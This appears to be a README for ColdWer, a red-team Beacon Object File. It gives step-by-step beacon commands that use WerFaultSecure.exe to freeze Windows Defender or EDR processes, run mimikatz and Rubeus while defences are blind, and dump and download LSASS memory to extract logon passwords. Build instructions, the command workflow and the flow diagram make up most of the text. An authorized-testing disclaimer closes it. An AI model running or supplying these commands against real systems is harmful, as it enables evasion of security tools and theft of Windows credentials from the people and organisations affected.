C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# Navega al directorio fuente
cd src/

# Compila BOF (requiere MinGW)
make

# O manualmente:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Encontrar PID de Windows Defender
beacon> ps

# Congelar el proceso
beacon> cw-freeze 1337

# Ejecutar comandos mientras EDR/AV está congelado
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# Descongelar al terminar
beacon> cw-unfreeze

# Paso 1: Subir WerFaultSecure.exe de Win8.1
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# Paso 2: Encontrar PID de LSASS
beacon> ps

# Paso 3: Volcar LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Paso 4: Descargar el volcado
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Congelar con ruta por defecto
beacon> cw-freeze 1337

# Usar WerFaultSecure.exe personalizado
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# Volcar LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Descongelar al terminar
beacon> cw-unfreeze

1. 🚀 Launch WerFaultSecure.exe as PPL (WinTcb level)
                    ↓
2. 🎯 WerFaultSecure attaches to target process
                    ↓
3. ⏸️  MiniDumpWriteDump suspends all target threads
                    ↓
4. 🥶 Suspend WerFaultSecure itself → Target stays frozen
                    ↓
5. ✅ Execute your commands (EDR/AV can't see!)
                    ↓
6. 🔥 Terminate WerFaultSecure → Target unfreezes

⚠️ FOR AUTHORIZED SECURITY TESTING ONLY

This tool is intended for:
- Authorized penetration testing
- Red team operations with written permission
- Security research in controlled environments

The author is not responsible for any misuse or damage caused by this tool.
Unauthorized access to computer systems is illegal.